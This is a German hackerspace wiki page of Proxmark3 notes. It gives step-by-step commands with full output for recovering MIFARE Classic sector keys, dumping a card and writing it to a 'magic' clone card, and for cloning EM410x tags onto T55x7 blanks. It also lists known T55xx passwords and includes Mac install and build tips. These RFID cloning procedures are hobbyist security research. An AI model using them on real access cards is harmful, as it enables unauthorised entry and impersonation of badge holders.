Proxmark3

Dank Jan haben wir einen wir einen proxmark3, ein Proxmark3 easy und auch 2 Chameleons,

Der RFID Koffer mit dem Zeugs, auch Karten etc. gibt es auf Anfrage bei mir

Der Proxmark 3 easy hat momentan Probleme mit Legic Prime, muss noch debugt werden.

Auf dem DL0MUC-Rechner ist die dazu passende Software installiert, Mus man mal ™ updaten.

Mifare todo bei Jan

Auf dem 34c3 haben wir damit mal weiter rumgespielt, hier noch ein paar Tips
(Bin selber zu faul das immer wieder raus zu suchen)

Welcher Kartentyp

hf search

Check für Standardkeys

hf mf chk *1 ?

Mifare Cloning

Einen gültigen Key herausfinden

proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average  :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------
........................



uid(352c1f4c) nt(b30c6cee) par(ba92426af29a2a32) ks(0008090f0e0f070d) nr(00000000)

          
|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| 0 |  5  |0,1,0,1,1,1,0,1|
| 20 |00000020| 8 |  d  |0,1,0,0,1,0,0,1|
| 40 |00000040| 9 |  c  |0,1,0,0,0,0,1,0|
| 60 |00000060| f |  a  |0,1,0,1,0,1,1,0|
| 80 |00000080| e |  b  |0,1,0,0,1,1,1,1|
| a0 |000000a0| f |  a  |0,1,0,1,1,0,0,1|
| c0 |000000c0| 7 |  2  |0,1,0,1,0,1,0,0|
| e0 |000000e0| d |  8  |0,1,0,0,1,1,0,0|
key_count:1
------------------------------------------------------------------
Key found:e251a9da734d 
          
Found valid key:e251a9da734d
proxmark3>

Mit dem oben gefundenen Key, die ganzen restlichen Keys herausfinden (dauert ein bisschen)

proxmark3> hf mf nested 1 0 A e251a9da734d d
--block no:00 key type:00 key:e2 51 a9 da 73 4d  etrans:0          
Block shift=0          
Testing known keys. Sector count=16          
nested...          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=0 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=4 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=4 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=8 trgkey=0          
Found valid key:06930625f573          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=8 trgkey=1          
Found valid key:9aeb465f44c9          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=12 trgkey=0          
Found valid key:3ed2990cc0c3          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=12 trgkey=1          
Found valid key:f9e3c2b9421a          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=16 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=16 trgkey=1          
Found valid key:f18ea2dcca6f          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=20 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=20 trgkey=1          
Found valid key:6f259862ef91          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=24 trgkey=0          
Found valid key:f0bf64a6bf6a          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=24 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=28 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=28 trgkey=1          
Found valid key:59039bbc5f20          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=32 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=32 trgkey=1          
Found valid key:59039bbc5f20          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=36 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=36 trgkey=1          
Found valid key:d412a41ecb09          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=40 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=40 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=44 trgkey=0          
Found valid key:d271ff53eeda          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=44 trgkey=1          
Found valid key:b6ca78eabb2a          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=48 trgkey=0          
Found valid key:cb87a64088e7          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=48 trgkey=1          
Found valid key:0653bf2b8701          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=52 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=52 trgkey=1          
Found valid key:541550280d7e          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=56 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=56 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=60 trgkey=0          
Found valid key:f0bf64a6bf6a          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=60 trgkey=1          
Found valid key:59039bbc5f20          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=0 trgkey=1          
Found valid key:322c9cbbe53f          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=4 trgkey=0          
Found valid key:9c8c07c9f190          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=4 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=16 trgkey=0          
Found valid key:5ed4f3654421          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=20 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=24 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=28 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=32 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=36 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=40 trgkey=0          
Found valid key:9dec238a9214          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=40 trgkey=1          
Found valid key:bd451e445aed          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=52 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=56 trgkey=0          
Found valid key:472a6f5519ad          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=56 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=4 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=20 trgkey=0          
Found valid key:cfea5408a6da          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=24 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=28 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=32 trgkey=0          
Found valid key:f0bf64a6bf6a          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=36 trgkey=0          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=52 trgkey=0          
Found valid key:a6d80a83ded6          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=56 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=4 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=24 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=28 trgkey=0          
Found valid key:f0bf64a6bf6a          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=36 trgkey=0          
Found valid key:8f0e6a510598          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=56 trgkey=1          
Found valid key:f3be399eba7b          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=4 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=24 trgkey=1          
Found valid key:59039bbc5f20          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=4 trgkey=1          
-----------------------------------------------          
uid:352c1f4c len=2 trgbl=4 trgkey=1          
Found valid key:5a6041c9f9fc          
Time in nested: 37,380 (0,603 sec per key)

-----------------------------------------------
Iterations count: 62

          
|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  e251a9da734d  | 1 |  322c9cbbe53f  | 1 |          
|001|  9c8c07c9f190  | 1 |  5a6041c9f9fc  | 1 |          
|002|  06930625f573  | 1 |  9aeb465f44c9  | 1 |          
|003|  3ed2990cc0c3  | 1 |  f9e3c2b9421a  | 1 |          
|004|  5ed4f3654421  | 1 |  f18ea2dcca6f  | 1 |          
|005|  cfea5408a6da  | 1 |  6f259862ef91  | 1 |          
|006|  f0bf64a6bf6a  | 1 |  59039bbc5f20  | 1 |          
|007|  f0bf64a6bf6a  | 1 |  59039bbc5f20  | 1 |          
|008|  f0bf64a6bf6a  | 1 |  59039bbc5f20  | 1 |          
|009|  8f0e6a510598  | 1 |  d412a41ecb09  | 1 |          
|010|  9dec238a9214  | 1 |  bd451e445aed  | 1 |          
|011|  d271ff53eeda  | 1 |  b6ca78eabb2a  | 1 |          
|012|  cb87a64088e7  | 1 |  0653bf2b8701  | 1 |          
|013|  a6d80a83ded6  | 1 |  541550280d7e  | 1 |          
|014|  472a6f5519ad  | 1 |  f3be399eba7b  | 1 |          
|015|  f0bf64a6bf6a  | 1 |  59039bbc5f20  | 1 |          
|---|----------------|---|----------------|---|          
Printing keys to bynary file dumpkeys.bin...
proxmark3>

Den Inhalt der Karte unter Zuhilfenahme der gefunden Keys dumpen

proxmark3> hf mf dump
|-----------------------------------------|          
|------ Reading sector access bits...-----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
|-----------------------------------------|          
|----- Dumping all blocks to file... -----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin' 
proxmark3>

Den entstandenen Dump ins eml-Format konvertieren (PM3-Scripts sind am Ende der Seite in den Downloads)

user@host:~$ ./pm3_bin2eml.py dumpdata.bin dumpdata.eml

Das eml-File in eine “Magic Chinese Guy”-Karte laden (diese vorher natürlich auf den proxmark legen!)

proxmark3> hf mf cload dumpdata
Loaded from file: dumpdata.eml          
proxmark3>

Fertig

EM410x Cloning

Karte auslesen

proxmark3> lf em4x em410xwatch
#db# buffer samples: d1 cd c5 c0 ba b7 b2 af ...                 
Reading 16000 samples
          
Done!
          
Auto-detected clock rate: 64          
EM410x Tag ID: 0101160061          
Unique Tag ID: 0808860068          
proxmark3>

UID (hier: EM410x Tag ID) auf Blankokarte (T5555 oder T55x7) schreiben

proxmark3> lf em4x em410xwrite 0101160061 1
Writing T55x7 tag with UID 0x0101160061 (clock rate: 64)          
#db# Started writing T55x7 tag ...                 
#db# Clock rate: 64                 
#db# Tag T55x7 written with 0xff806018d8003060

Fertig

EM410x Known Passwords

0x51243648
0x000D8787

lf t55xx writeblockPWD 00148041 0 51243648

Downloads

prox.rar (Quelle: http://www.fuzzysecurity.com/)
Proxmark-Firmware/Client, etc.: https://code.google.com/p/proxmark3/wiki/Linux

Jans MAC Debugging

Homebrew Install (Im Terminal Fenster starten)

/usr/bin/ruby -e “$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)”

* Proxmark Install

brew tap proxmark/proxmark3
brew install proxmark3

Momentan kaputt (Stand 15.1.2018) dann mit diesem Parameter Installieren.

brew install --HEAD proxmark3

* TTY Port heraus finden (proxmark3 vorher anschließen)

ls /dev/cu*

* Starten (usbmodem21 wars bei mir, entsprechend anpassen)

proxmark3 /dev/cu.usbmodem21

* Alle proxmark Befehle laufen ab hier ganz normal

Debugging

Make-Fehler unter (u.a.) Ubuntu

Im client/Makefile dashier ändern:

  CXXFLAGS = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) -Wall -O4
  QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null)
  MOC = /usr/lib/x86_64-linux-gnu/qt4/bin/moc

Table of Contents